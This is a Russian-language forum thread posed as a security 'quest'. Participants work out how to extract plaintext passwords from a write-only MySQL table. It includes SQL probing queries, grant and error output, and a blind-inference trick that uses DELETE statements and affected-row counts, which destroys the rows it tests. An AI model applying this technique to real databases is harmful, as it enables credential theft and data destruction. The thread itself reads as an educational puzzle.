Квест по безопасности :)

Wicked

Новичок
Квест по безопасности :)

Случай из моей практики вместо эпилога:
- Солнышко, какого ";%* у нас в базе рядом с солеными хэшированными паролями лежат пароли в plain text?
- ну как! Plain text - чтобы было удобно, а хэшированные - чтобы безопасно.
Один мой знакомый описал, как у них организовано хранение паролей, и оно показалось мне крайне занимательным.

Итак. Квест. В наши шаловливые ручки попала копия скриптов одного сайта ( http://site.ru ). Мы их исследовали и накопали там следующую информацию:
Есть 2 базы данных site и passwоrd_log (явки-пароли известны из конфигов - mysql://web:p[email protected]:3306 ).
При создании пользователя в таблицу site.users вставляется вся информация о пользователе, при этом пароль предварительно солится и хэшируется.
В таблицу passwоrd_log.password_log вставляются id пользователя и plain text пароль.

Задача - как за разумное узнать максимально возможное кол-во паролей уже существующих пользователей? Ваши первые действия?

PS: С вами я буду играть в режиме диалога, выдерживая небольшие паузы (в зависимости от сложности действия), чтобы все удовольствие не получил кто-то один :) Постить мысли прямо сюда.
 

zerkms

TDD infected
Команда форума
1. максимально возможное число записей зависит от разрядности первичного ключа (если он числовой) или его длины (если строковый)

2. получить пароли можно вот так:

USE `site`;
SELECT * FROM `user` `u` INNER JOIN `passwоrd_log`.`password_log` USING (`user_id`);

получить их число можно, соотвестветнно, заменив * на COUNT(*)
 

whirlwind

TDD infected, paranoid
zerkms это было бы очень просто. Наверняка додумались как минимум дб-юзеров для каждой из баз завести и ограничить акцес.
 

zerkms

TDD infected
Команда форума
whirlwind
откуда я могу это знать? :) ждём ответа на мой исправленный пост :)
 

Wicked

Новичок
USE `site`;
SELECT * FROM `user` `u` INNER JOIN `passwоrd_log`.`password_log` USING (`user_id`);
mysql> SELECT * FROM `user` `u` INNER JOIN `passwоrd_log`.`password_log` USING (`user_id`);
ERROR 1142 (42000): SELECT command denied to user 'web'@'localhost' for table 'password_log'
 

Wicked

Новичок
whirlwind
как видно из конфигов, юзер используется один и тот же.
 

Wicked

Новичок
Код:
mysql> desc user;
+-----------------------------------+--------------+------+-----+---------+----------------+
| Field                             | Type         | Null | Key | Default | Extra          |
+-----------------------------------+--------------+------+-----+---------+----------------+
| user_id                           | int(11)      | NO   | PRI | NULL    | auto_increment | 
| salt                              | varchar(32)  | YES  |     | NULL    |                | 
| password_salty_tasty_hash         | varchar(32)  | YES  |     | NULL    |                | 
| email                             | varchar(255) | YES  |     | NULL    |                | 
| lot_of_other_not_useful_fields :) | varchar(255) | YES  |     | NULL    |                | 
+-----------------------------------+--------------+------+-----+---------+----------------+
5 rows in set (0.00 sec)
 

zerkms

TDD infected
Команда форума
whirlwind
есть подозрение, что нет :)

Wicked
зачем нужна таблица, к которой у скриптов нет доступа на чтение?

-~{}~ 18.12.08 23:17:

ну для полноты картины и для passwоrd_log покажи show create table

и для user.
 

Wicked

Новичок
zerkms
Код:
mysql> desc password_log;
ERROR 1142 (42000): SELECT command denied to user 'web'@'localhost' for table 'password_log'
но по коду видно, что оттуда используютс всего 2 поля: user_id и password.

dr-sm
Код:
mysql> SHOW GRANTS FOR CURRENT_USER();
+------------------------------------------------------------------------------------------------------------+
| Grants for web@localhost                                                                                   |
+------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'web'@'localhost' IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19' | 
| GRANT ALL PRIVILEGES ON `site`.* TO 'web'@'localhost'                                                      | 
| GRANT INSERT, DELETE ON `passwоrd_log`.* TO 'web'@'localhost'                                             | 
+------------------------------------------------------------------------------------------------------------+
3 rows in set (0.00 sec)
-~{}~ 18.12.08 19:33:

зачем нужна таблица, к которой у скриптов нет доступа на чтение?
как сказал этот мой знакомый, для того, чтобы подсматривать из-под рута пароли, и ходить реально под пользователями, которые испытывают проблемы с сайтом.
 

whirlwind

TDD infected, paranoid
INSERT INTO `passwоrd_log`.`password_log` (user_id,password) VALUES(1,'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');
INSERT INTO `passwоrd_log`.`password_log` (user_id,password) VALUES(1,'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');
INSERT INTO `passwоrd_log`.`password_log` (user_id,password) VALUES(1,'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');
INSERT INTO `passwоrd_log`.`password_log` (user_id,password) VALUES(1,'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');

кароче найти такую длину, при которой не будет ошибки.

PS. ну и проверить есть ли ключ на user_id
 

Wicked

Новичок
whirlwind
Код:
mysql> INSERT INTO `passwоrd_log`.`password_log` (user_id,password) VALUES(1,REPEAT('X', 1024));
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> INSERT INTO `passwоrd_log`.`password_log` (user_id,password) VALUES(1,REPEAT('X', 255));
Query OK, 1 row affected (0.02 sec)
 

zerkms

TDD infected
Команда форума
Wicked
неужели задача из разряда "DROP TABLE IF EXISTS /* таблица существовала" ? ;-)
 

whirlwind

TDD infected, paranoid
ну дальше узнаем для каждого user_id макс длину. примерно так

DELETE FROM password_log WHERE user_id=X AND LENGTH(password) = 255 ... 0;

смотрим аффектед
 
Сверху